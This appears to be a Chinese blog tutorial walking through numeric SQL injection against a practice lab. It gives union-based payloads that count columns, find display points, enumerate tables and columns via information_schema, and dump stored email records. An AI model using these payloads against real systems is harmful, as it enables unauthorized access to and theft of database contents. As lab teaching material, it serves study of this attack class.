lesson-2 數(shù)字型注入

1.如何判斷字符型注入和數(shù)字型注入

關(guān)于判斷注入類型的解釋,簡(jiǎn)單的說通過sql語(yǔ)句的輸入測(cè)試來判斷源碼如何定義的輸入數(shù)據(jù)。

2.預(yù)備知識(shí)

SQL注入攻擊指的是通過構(gòu)建特殊的輸入作為參數(shù)傳入Web應(yīng)用程序,而這些輸入大都是SQL語(yǔ)法里的一些組合,通過執(zhí)行SQL語(yǔ)句進(jìn)而執(zhí)行攻擊者所要的操作,其主要原因是程序沒有細(xì)致地過濾用戶輸入的數(shù)據(jù),致使非法數(shù)據(jù)侵入系統(tǒng)。根據(jù)相關(guān)技術(shù)原理,SQL注入可以分為平臺(tái)層注入和代碼層注入。前者由不安全的數(shù)據(jù)庫(kù)配置或數(shù)據(jù)庫(kù)平臺(tái)的漏洞所致;后者主要是由于程序員對(duì)輸入未進(jìn)行細(xì)致地過濾,從而執(zhí)行了非法的數(shù)據(jù)查詢。

3.測(cè)試過程

3.1判斷類型

用單引號(hào)進(jìn)行輸入,發(fā)現(xiàn)錯(cuò)誤界面,這可能是因?yàn)椴樵兇a使用了整數(shù)。
image.png

再根據(jù)輸入 and 1=1 和 and 1=2 返回的是正確和錯(cuò)誤的畫面,可以判定為是整型注入(數(shù)字型注入)。由此可以輸入sql語(yǔ)句進(jìn)行查詢,獲得我們想要的數(shù)據(jù)。

3.2注入爆破

通過輸入 order by【數(shù)字】 來判斷輸入的列有幾行,直到返回正確界面。利用二分法從數(shù)字10往開始減小,最終確定數(shù)字3
image.png

通過以下代碼來判斷顯錯(cuò)點(diǎn)。

and 1=2 union select 1,2,3

第二列和第三列是顯錯(cuò)點(diǎn)。
image.png

1.通過以下代碼查看用戶信息,數(shù)據(jù)庫(kù)名稱,版本信息

and 1=2 union select 1,concat_ws(char(58,32,32),user(),database(),version()),3
image.png

2.通過以下代碼查看所有的表。

and 1=2 union select 1,2,group_concat(table_name )from information_schema.tables where table_schema = 'security'
image.png

3.查看任意一個(gè)表中的列。

and 1=2 union select 1,2,group_concat(column_name )from information_schema.columns where table_name = 'emails'
image.png

4..通過以下代碼查看所有的列的值。

and 1=2 union select 1,2,group_concat(id,' ',email_id)from  security.emails
image.png
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 隨著當(dāng)今世界網(wǎng)絡(luò)技術(shù)與信息技術(shù)高速發(fā)展,Web應(yīng)用程序具有界面統(tǒng)一,使用簡(jiǎn)單,易于維護(hù),擴(kuò)展性好,共享度高等優(yōu)先。...
    高美麗閱讀 4,163評(píng)論 0 4
  • Sql 注入基礎(chǔ)原理介紹一、實(shí)驗(yàn)說明1.1 實(shí)驗(yàn)內(nèi)容SQL注入攻擊通過構(gòu)建特殊的輸入作為參數(shù)傳入Web應(yīng)用程序,而...
    FreaxJJ閱讀 1,920評(píng)論 3 23
  • 1.過濾URL中的一些特殊字符,動(dòng)態(tài)SQL語(yǔ)句使用PrepareStatement.. 2.注入的方式就是在查詢條...
    Explorer_Mi閱讀 1,390評(píng)論 0 0
  • 漏洞挖掘與利用 測(cè)試環(huán)境的搭建 引言 為什么要搭建本地測(cè)試環(huán)境?我想下面的東西能夠回答你的疑惑。 第二百八十五條 ...
    作業(yè)沒寫完閱讀 3,553評(píng)論 0 4
  • 青黃的葉子悠悠落下, 輕輕的拂過, 拂過. 那蓮藕的腕, 那如筍如蔥的指, 飄到寂寞的角落里, 苦苦的思念, 傻傻...
    無崖老師閱讀 425評(píng)論 2 11

友情鏈接更多精彩內(nèi)容